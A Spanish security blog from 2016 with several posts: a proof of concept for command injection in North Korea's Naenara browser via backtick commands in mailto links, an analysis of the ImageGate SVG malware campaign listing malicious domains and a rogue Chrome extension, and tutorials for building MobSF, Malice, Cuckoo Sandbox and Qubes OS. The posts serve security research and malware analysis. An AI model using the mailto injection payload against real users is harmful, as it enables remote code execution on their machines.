miércoles, 7 de diciembre de 2016

Vulnerar el sistema operativo del Querido Líder "Kim Jong-un"

Introducción:

    Red Star OS es un sistema operativo basado en linux de Corea del Norte. Podéis ver más información de la distribución aquí.

"De Red Star OS se dice que es un instrumento de seguimiento y control de la población del país asiático. La acusación ha partido de la publicación The Korea Times, en base a declaraciones de investigadores de South Korea's Science and Technology Policy Institute (STEPI). Esta afirmación se origina en Corea del Sur, tradicional enemigo, y puede tener su sesgo. Al no estar disponible el código, lo dejamos bajo el epígrafe de "duda razonable". Total, en el mundo "libre" también nos espían.. seguir leyendo."

En esta entrada veremos un exploit para una vulnerabilidad, la cúal nos permitirá ejecución remota de código arbitrario en el cliente, la vulnerabilidad podría ser utilizada para instalar malware solo haciendo que un usuario haga clic en un hipervínculo. 

El portador de la vulnerabilidad es el navegador web que viene instalado por defecto en la distribución Red Star OS, es conocido como "Naenara" (es una versión muy modificada de Mozilla Firefox) y contiene vectores de ataque remoto.

La vulnerabilidad está probada en Red Star OS 3.0 con Naenara 3.5 descarga aquí.

Explicación de la vulnerabilidad

    Durante la detección de vulnerabilidades, se observó que los controladores de URL registrados se pasaban a una utilidad de línea de comandos "/usr/bin/nnrurlshow". Esta aplicación (aparte de tener null ptr de-refs y otros bugs) toma argumentos URI para los manejadores URI registrados cuando se manejan solicitudes de aplicación como "mailto" y "cal". Naenara no limpia la línea de comandos al manejar estas solicitudes de argumento de URI y como tal, puede trivialmente obtener la ejecución de código al pasar enlaces mal formados al binario nnrurlshow.

Configurando Red Star OS

Para la instalación lo tendremos un pelín difícil ya que está en koreano, os dejo un link para instalarlo.
Una vez instalado el sistema operativo para poner el idioma en inglés deberemos introducir los siguientes comandos:
Primero activar el usuario root.

$ /usr/sbin/rootsetting 

Y para cambiar el idioma:

$ su
$ sed -i 's/ko_KP/en_US/g' /etc/sysconfig/i18n
$ sed -i 's/ko_KP/en_US/g' /usr/share/config/kdeglobals


Ver más.

PoC:

Creación del exploit

Crearemos un archivo .html que dentro tendrá:

<html>
<head>
</head>
<body>
<a href="mailto:`id`">Pulsar</a>
</body>
</html>

Con este exploit obtendremos el id de nuestro usuario. Podemos modificarlo para elegir el comando que queramos, por ejemplo:

<html>
<head>
</head>
<body>
<a href="mailto:`Applications/Calculator.app/Contents/RedStar/calculator`">Pulsar</a>
</body>
</html> 

Con este abriremos una calculadora

Una vez abierto el exploit con el navegador  Naenara 3.5 y pulsado sobre el hiperenlance obtendremos el resultado.

Vídeo

 

domingo, 27 de noviembre de 2016

ImageGate - Nemucod | Malware en imagen .svg

Introducción:

Check Point, empresa experta en seguridad, ha identificado un nuevo vector de ataque que introduce malware en imágenes y gráficos: ImageGate. Además, el equipo de investigadores de Check Point ha descubierto el método por el que los cibercriminales ejecutan código malicioso dentro de imágenes usando aplicaciones de redes sociales como Facebook y LinkedIn.

En los últimos días, todas las empresas de seguridad han estado siguiendo con atención la difusión masiva del ransomware Locky vía redes sociales, especialmente en una campaña basada en Facebook. Los analistas de Check Point creen que la técnica ImageGate explica cómo ha sido posible esta campaña de ataques, punto que no había sido respondido hasta ahora.

Debes saber que:

    Scalable Vector Graphics (SVG) es un formato de imagen vectorial basado en XML para gráficos bidimensionales con soporte para interactividad y animación. La especificación SVG es un estándar abierto desarrollado por el World Wide Web Consortium (W3C) desde 1999.

Esto significa, más específicamente, que puede integrar cualquier contenido que desee (como JavaScript). Además, cualquier navegador moderno podrá abrir este archivo.

Funcionamiento del Ataque:

Durante una conversación en Facebook se puede obtener de un amigo una "imagen" como:



Es una imagen falsa, el hecho de que tenga una terminación .svg ya nos dá que pensar...
El código de la imagen es el siguiente:


El resultado de la secuencia de comandos es redirigir a una web engañosa a la víctima: "//govahoyuge.itup.pw/php/trust.php", a continuación, en subdominios al azar de acuerdo con los siguientes formatos:

hxxp://ecadutaro.yadozalamom.pw/oseboma.html
hxxp://mitobeb.yadozalamom.pw/fineboz.html
hxxp://ibaveh.yadozalamom.pw/urisur.html

Por debajo de ellos se encuentra una página falsa haciéndose pasar por YouTube, que le dice a la víctima que para ver el video necesita un "códec de vídeo" adecuado:

Y amablemente nos ofrece instalar un add-on malicioso.
https://chrome.google.com/webstore/detail/ubo/jegjfinhocnmomhpgmnbjambmgbifjbg/

Abrí la foto

    Si ha instalado en su navegador, este complemento, que no será capaz de eliminarlo directamente desde el navegador. Por desgracia, la add-on cierra la página de configuración (tratando de evitar su eliminación). Por lo tanto, la add-on se debe retirar manualmente. Este es un ejemplo para Chrome:

Ir al navegador de directorios en el sistema:

Windows:
C:\Users\ \AppData\Local\Google\Chrome\User Data\Default Windows 7, 8.1, and 10:
C:\Users\ \AppData\Local\Google\Chrome\User Data\Default

Mac OS X El Capitán:
usuarios / / Library / Application Support / Google / Chrome / Default

Linux:
/ Inicio / /.config/google-chrome/default

Luego ir a las "Extensiones" y borrar la carpeta llamada "jegjfinhocnmomhpgmnbjambmgbifjbg." Compruebe también que el directorio no es también un perfil distinto al predeterminado.

 Vídeo: 

viernes, 11 de noviembre de 2016

Crear un laboratorio para analizar malware en apps de Android/iOS

0. Prólogo 

Existen multitud de herramientas automáticas para el análisis de ficheros binarios de forma estática que se encargan de automatizar muchas de las tareas de análisis. Al igual que en otros entornos, los resultados por estas herramientas no tienen porque ser correctos al 100%, pueden haber:
- Falsos negativos: Fallos no detectados.
  + La herramienta no está preparada para ellos.
  + La herramienta puede detectarlos, pero no lo hace correctamente.
- Falsos positivos: Fallos que la herramienta marca como existentes pero que realmente no existen.

¡No podemos limitar el análisis de seguridad a la ejecución de estas herramientas. Debemos verificar que cada problema detectado existe realmente.!

1. Introducción

Mobile Security Framework (MobSF) es una aplicación todo-en-uno de código abierto para móviles (Android / iOS) capaz de realizar el análisis estático y dinámico automatizado.

Puede ser utilizado para el análisis de seguridad eficaz y rápida de Android y iOS Aplicaciones y es compatible con los binarios (APK y IPA) y el código fuente comprimido. MobSF también puede realizar la Web API Pruebas de seguridad con su Fuzzer API que puede hacer de recopilación de información, análisis de cabeceras de seguridad, identificar vulnerabilidades específicas de la API móvil como la XXE, FRSS, de traspaso de rutas, IDOR, y otras cuestiones lógicas relacionadas con la Sesión y la API de limitación de velocidad.

Mobile Security Framework realiza dos tipos de análisis:

    El analizador estático es capaz de realizar: la revisión de código automático, detección de permisos y configuraciones inseguras, detectar código inseguro SSL, derivación SSL, cifrado débil, códigos ofuscados, permisos incorrectos, secretos codificados, el uso indebido de APIs peligrosas, fugas de  información sensible y el almacenamiento de archivos inseguros.

    El analizador dinámico ejecuta la aplicación en una máquina virtual o en un dispositivo configurado y detecta los problemas en tiempo de ejecución. Se realiza un análisis más detallado en los paquetes de red capturados descifrando: el tráfico HTTPS, los informes de registros, informes de error, la información de depuración y seguimiento de la pila. Sobre los activos de aplicaciones como: archivos de configuración, las preferencias y bases de datos.

Mobile Security Framework es altamente escalable, permite agregar  reglas personalizadas con facilidad. Permite generar al final del test de penetración informes de una forma rápida y concisa.

2. Instalación

Antes de nada, recomiendo mirar el proyecto en github.
En esta entrada vamos a instalar MobSF con docker (Solo análisis estático), os dejo el link del dockerfile. Si queremos instalarlo sin docker os dejo la documentación oficial que explica paso a paso el proceso.

2.1 Requisitos

2.1.1 Instalar Docker

$ sudo apt-get update
$ sudo apt-get install apt-transport-https ca-certificates
$ sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
$ echo "deb https://apt.dockerproject.org/repo ubuntu-trusty main" > sudo tee -a /etc/apt/sources.list.d/docker.list
$ sudo apt-get update
$ sudo apt-get install docker.io
$ sudo usermod -aG docker $USER #Deberás cerrar sesión para que se apliquen los cambios
$ docker --version
Docker version 1.12.1, build 23cf638

2.1.2 Descargar Imagen MobSF

$ docker pull opensecurity/mobsf

3.Uso

 Para iniciarlo simplemente usaremos el siguiente comando:
$ docker run -i -t -p 8000:8000 opensecurity/mobsf:latest

Si queremos hacer un análisis dinámico podremos ver como se configura en la documentación oficial del proyecto.
Ahora nos vamos al navegador web ponemos la IP:PUERTO y ya estaremos preparados para analizar APKS.

Podremos llevarnos la imagen de docker exportandola (docker save opensecurity/mobsf > mobsf.tar) e importandola (docker load -i mobsf.tar) en otra máquina con docker.

4. Vídeo DEMO: 

 

El análisis estático puede ofrecer información sobre las conexiones y URL a las que se conecta una aplicación, pero no se pueden extraer conclusiones definitivas hasta que no se ejecuta la misma, es necesario complementar con un análisis dinámico de la aplicación.

miércoles, 2 de noviembre de 2016

MALICE: Analiza malware con múltiples antivirus

1. Introducción

Malice de blacktop es un multi-antivirus local que pretende ser un "Virustotal de código abierto" que todo el mundo pueda usar a cualquier escala, desde un único analista de malware hasta una gran compañía.

Está escrito en Go por lo que requerirás la versión 1.5 o superior y necesitarás también Docker ya que irá levantando contenedores para el análisis según los plugins habilitados, todos controlados por un contendedor supervisor con ELK (Elasticsearch, Logstash y Kibana).

Antes de nada te recomiendo que vayas a su github, en el podrás ver documentación y algunos ejemplos, también podrás apoyar al proyecto ya que vale la pena.

2. Instalación 

En este caso vamos a instalar Malice en ElementaryOs 0.4

2.1. Instalar Docker

$ sudo apt-get update
$ sudo apt-get install apt-transport-https ca-certificates
$ sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
$ echo "deb https://apt.dockerproject.org/repo ubuntu-trusty main" > sudo tee -a /etc/apt/sources.list.d/docker.list
$ sudo apt-get update
$ sudo apt-get install docker.io
$ sudo usermod -aG docker $USER #Deberás cerrar sesión para que se apliquen los cambios
$ docker --version
Docker version 1.12.1, build 23cf638

2.2. Instalar Malice

$ wget https://github.com/maliceio/malice/releases/download/v0.2.0-alpha/malice_0.2.0-alpha_linux_amd64.zip -O /tmp/malice.zip
$ sudo unzip /tmp/malice.zip -d /usr/local/bin/

Puedes obtener más información de la instalación en el github.

3. Uso

1º Descargamos un malware de prueba para analizar:
$ cd $HOME
$ mkdir malware
$ cd malware
$ wget http://www.eicar.org/download/eicar.com.txt

2º Escaneamos el archivo:
$ malice scan [Archivo]

Podremos redireccionar la salida a un archivo con:
$ malice scan [Archivo] > results.md

  *La primera vez demorará bastante ya que tendrá que actualizar todos los plugins.

(?)- Para ver la lista de plugins usaremos:
$ malice plugin list

(?)- Si queremos ver los detalles:
$ malice plugin list --all --detail

(?)- Y para actualizarlos:
$ malice plugin update --all

4. Vídeo DEMO:

 

sábado, 29 de octubre de 2016

Crear un laboratorio para analizar malware

0. Introducción

Cuckoo Sandbox es un software de código abierto para la automatización de análisis de archivos sospechosos, como actualmente son los Malware y Crimeware que afectan mucho a los sistemas Financieros.

Para ello Cuckoo hace uso de componentes personalizados que monitorean el comportamiento de los procesos maliciosos mientras se ejecuta en un entorno aislado.

0.1 Material

En esta práctica vamos a necesitar: 

·Ubuntu 16.04 (Como sistema base) 
    ·Cuckoo +Requisitos   
·Windows XP SP3 (En máquina virtual) 
    ·Python 2.7

1. Requisitos (En Ubuntu)

$ sudo apt-get install python
$ sudo apt-get install python-pip
$ sudo apt-get install python-sqlalchemy
$ sudo apt-get install python-dpkt python-jinja2 python-magic python-pymongo python-libvirt python-bottle python-pefile ssdeep
$ sudo pip install dpkt jinja2 pymongo bottle pefile
$ sudo apt-get install build-essential git libpcre3 libpcre3-dev libpcre++-dev
$ sudo pip install Django==1.8.4

$ sudo pip install requests
$ sudo pip install python-dateutil

pydeep:
$ cd /opt
$ git clone https://github.com/kbandla/pydeep.git pydeep
$ cd /opt/pydeep/
$ sudo python setup.py build
$ sudo python setup.py install

yara:
$ sudo apt-get install automake -y
$ cd /opt
$ svn checkout http://yara-project.googlecode.com/svn/trunk/yara
$ cd /opt/yara
$ sudo ln -s /usr/bin/aclocal-1.11 /usr/bin/aclocal-1.12
$ ./configure
$ make
$ sudo make install
$ cd yara-python
$ python setup.py build
$ sudo python setup.py install


tcdump:
$ sudo apt-get install tcpdump
$ sudo setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
$ sudo apt-get install libcap2-bin
$ sudo chmod +s /usr/sbin/tcpdump


$ sudo apt-get install mongodb
 
Cuckoo:
$ git clone git://github.com/cuckoobox/cuckoo.git

$ sudo pip install -r cuckoo/distributed/requirements.txt
$ sudo pip install -r cuckoo/requirements.txt
$ sudo cucko/utils/community.py --all --force

Virtual Box (Solo si usas Kernel 3.5) - Para saber el kernel introduce el comando "uname -a" en la terminal.
$ sudo apt-get install linux-headers-3.5.0.17-generic


2. Configuración de Windows XP

2.1 Configuración Virtual box

INICIAR VIRTUALBOX COMO SUDO ("sudo virtualbox") ya que sino alfinal cuckoo no encontrará la máquina virtual.
Especificaciones de la máquina virtual:

1GB RAM memory
10 GB of hard disk space
VDI format for the virtual disk
Dynamically allocated storage
Windows XP SP3
     ·Deberemos ir a Preferencias - Red - Redes Solo-anfitrion y añadir un nuevo adaptador de red. (El nombre por defecto es vboxnet0) La IP es por defecto 192.168.56.1
·Luego iremos a nuestra máquina virtual de xp y le cambiaremos la tarjeta de red por Adaptador solo-anfitrion.

    2.2 Configuracion de XP

·Deshabilitar el firewall y las actualizaciones
·Instalar python 2.7
·Instalar PIL (Python Imaging Library)
·Instalar Guest Additions
·(OPCIONAL) Intalar aplicaciones estándar como Firefox, Word, Adobe Reader... (oldapps)
·Deberemos configurar una IP estática:

IP: 192.168.56.101
Mascara: 255.255.255.0
Puerta de Enlace: 192.168.56.1
DNS: 8.8.8.8

2.3 Instalar agente cuckoo Windows XP

1º Copiamos el agente.py que vendrá en el repositorio cuckoo:  “cucko/agent/agent.py” al Windows XP en la carpeta C:\Python27.
2º Ponemos para que se ejecute al inicio (C:\Document and settings\username\Start Menu\Programs\Startup)
3º Le cambiamos la terminación por *.pyw (Así no invocará la consola).
4º Después de ejecutar el ajente se quedará un servicio abierto en el puerto :8000 (Podemos comprobar que es así con el comando netstat -aon).

3. Instalación de cuckoo

Antes deberemos configurar las reglas de forwarding y filtering usando IPTABLES (Más informacion).
$ iptables -A FORWARD -o [Interfaz de red con salida a internet] -i vboxnet0 -s 192.168.56.0/24 -m conntrack --ctstate NEW -j ACCEPT
$ iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
$ iptables -A POSTROUTING -t nat -j MASQUERADE
$ sysctl -w net.ipv4.ip_forward=1 

3.1 Creación de Usuario

$ sudo adduser cuckoo
$ sudo usermod -G vboxusers cuckoo
$ sudo usermod -G libvirtd cuckoo

3.2 Configuración de Cuckoo

Vamos a configurar cuckoo, para ello nos vamos a la carpeta conf/
Empezamos:
1ºArchivo auxiliary.conf
[sniffer]
enabled = yes
tcpdump = [ruta tcpdump (Podemos comprobarlo con el comando "locate tcpdump"]

2º Archivo cuckoo.conf
[cuckoo]
version_check = off

[resultserver]
ip = [IP del adaptador VBOXNET0]

3º Archivo kvm.conf
[kvm]
machines = [Nombre de la maquina virtual]

[cuckoo1] ---Cambiar por ---> [Nombre de la maquina]
label = [Nombre de la maquina]
ip = [IP de VBOXNET0] (La IP debe estar en la red de VBOXNET0)

4ºArchivo processing.conf
[memory]
enabled = yes

 5º Archivo virtualbox.conf
Comprobamos que el path está bien (Hacemos "locate vboxmanage" para saber la ruta)
machines = [Nombre de la maquina virtual]
[cuckoo1] ---Cambiar por ---> [Nombre de la maquina]
label = [Nombre de la maquina]
ip = [IP de WindowsXP]

6º Archivo reporting.conf
[mongodb]
enabled = yes

7º Archivo /web/web/local_settings.conf
DEBUG = False

Y ya tendremos todos los archivos configurados. Ahora tendremos que hacer una snapshot de la máquina, para ello usaremos los siguientes comandos:
$ sudo vboxmanage snapshot "windows-cuckoo" take "windows-cuckooSnap01" --pause
$ sudo vboxmanage controlvm "windows-cuckoo " poweroff
$ sudo vboxheadless --startvm "windows-cuckoo"

4. Funcionamiento

La máquina de Windows XP deberá estar apagada, sino saltará un error.
Iniciamos cuckoo en Ubuntu.
$ sudo ./cuckoo.py
Cuckoo estará a la espera de que hagamos submit de una muestra:
Para subir una muestra, primero la descargamos, una vez descargada la subimos con el comando:
$ cd utils/
$ sudo ./submit.py [Ruta archivo malicioso]
Cuckoo empezará el análisis en la máquina virtual
Una vez acabado podremos ver el resultado en la parte web de Cuckoo, arrancamos la parte web (Más información):
$ cd web/
$ sudo ./manage.py runserver [IP:Puerto] --insecure

5. +Documentación:

Para más documentacion acerca de cuckoo os dejo un enlace de un libro que recomiendo (Explica todo desde lo más básico) y el github del proyecto.

Libro
Github

6. Vídeo DEMO:

 

jueves, 13 de octubre de 2016

Construir Qubes-Os desde cero

Definición:

Qubes OS es una distribución de linux cuya característica principal radica en que separa la ejecución de sus componentes, servicios y también las aplicaciones en máquinas virtuales.

Ofrece seguridad a sus usuarios pasando por un mecanismo que separa y mantiene aislados a varios dominios o “zonas de seguridad” (es decir, uno para el visor de imágenes y otro para el navegador web, etc.).

Con Qubes OS, si llegas a ser blanco de un ataque malicioso, el atacante no podrá apoderarse de tu ordenador. Este proyecto se encuentra ya en su versión 3.0, que está basado en la capa Hypervisor Abstraction Layer y utiliza la tecnología de virtualización Xen 4.4.


Qubes OS equivale a un hipervisor del tipo 1, también denominado nativo, unhosted o bare metal (sobre el metal desnudo), es software que se ejecuta directamente sobre el hardware, para ofrecer la funcionalidad descrita.

Creando Qubes-Os

Existe un sistema de construcción totalmente automatizado para Qubes, que descarga, construye  y empaqueta todos los componentes de Qubes, y finalmente crea un .ISO de instalación lista para su uso.

Para usarlo es necesario utilizar una distribución basada en paquetes rpm (En este caso se usará Fedora 24 Workstation), y también es necesario instalar los siguientes paquetes:


     git
     createrepo
     rpm-build
     make
     wget
     rpmdevtools
     python-sh
     dilog
     rpm-sign
■ sudo dnf update
■ sudo yum install git createrepo rpm-build make wget rpmdevtools python-sh dialog rpm-sign

El sistema de construcción crea ambientes de construcción en entornos enjaulados y por lo tanto no se necesitan otros paquetes en el host. Todos los archivos creados por el sistema de construcción se encuentran dentro del directorio qubes-constructor. La construcción completa requiere 25 GB aproximadamente de espacio libre, así que tenlo en cuenta a la hora de decidir dónde colocar este directorio. 

El sistema de construcción se configura a través del archivo builder.conf - se debe copiar el builder.conf.default adjunto, y modificarlo según sea necesario, por ejemplo:

■ cp example-configs/qubes-os-master.conf builder.conf
# Editar el archivo builder.conf y seleccionar las siguientes variables:
NO_SIGN=1


Un requisito adicional útil es que 'sudo root' trabaje sin ningún tipo de símbolo, que es por defecto en la mayoría de distribuciones (por ejemplo, 'sudo bash' le trae el intérprete de comandos sin pedir ninguna contraseña). Esto es importante ya que el constructor tiene que cambiar a root y luego de vuelta al usuario varias veces durante el proceso de construcción.

Además, si la construcción con la firma habilitada (por lo NO_SIGN no se ha establecido), se debe ajustar en el archivo ~ /.rpmmacro para que apunte a la clave GPG utiliza para firmar el paquete, por ejemplo:


%_signature gpg
%_gpg_path /home/user/.gnupg
%_gpg_name AC1BF9B3  # <-- Key ID used for signing
También se recomienda utilizar una contraseña vacía para la clave privada utilizada para firmar. Contrariamente a la creencia popular, esto no afecta a su clave de seguridad o las fuentes - si alguien ve comprometido su sistema, entonces el juego ha terminado, si se utiliza la frase de contraseña adicional para la clave o no.

Por lo tanto, para construir Qubes se podría hacer:


# Import the Qubes master key
gpg --recv-keys 0xDDFA1A3E36879494

# Verify its fingerprint, set as 'trusted'.
# This is described here:
# https://www.qubes-os.org/doc/VerifyingSignatures

wget https://keys.qubes-os.org/keys/qubes-developers-keys.asc
gpg --import qubes-developers-keys.asc

git clone git://github.com/QubesOS/qubes-builder.git qubes-builder
cd qubes-builder

# Verify its integrity:
git tag -v `git describe`

cp example-configs/qubes-os-master.conf builder.conf
# edit the builder.conf file and set the following variables:
# NO_SIGN="1"

# Download all components:

make get-sources

# And now to build all Qubes rpms (this will take a few hours):

make install-deps
make qubes
# ... and then to build the ISO

make iso
Y esto debe producir una nueva ISO.
También es posible construir componente seleccionado por separado. P.ej. para compilar única interfaz gráfica de usuario agente de virtualización / daemon: 

■ make gui-daemon

QubesOs-Builder

Github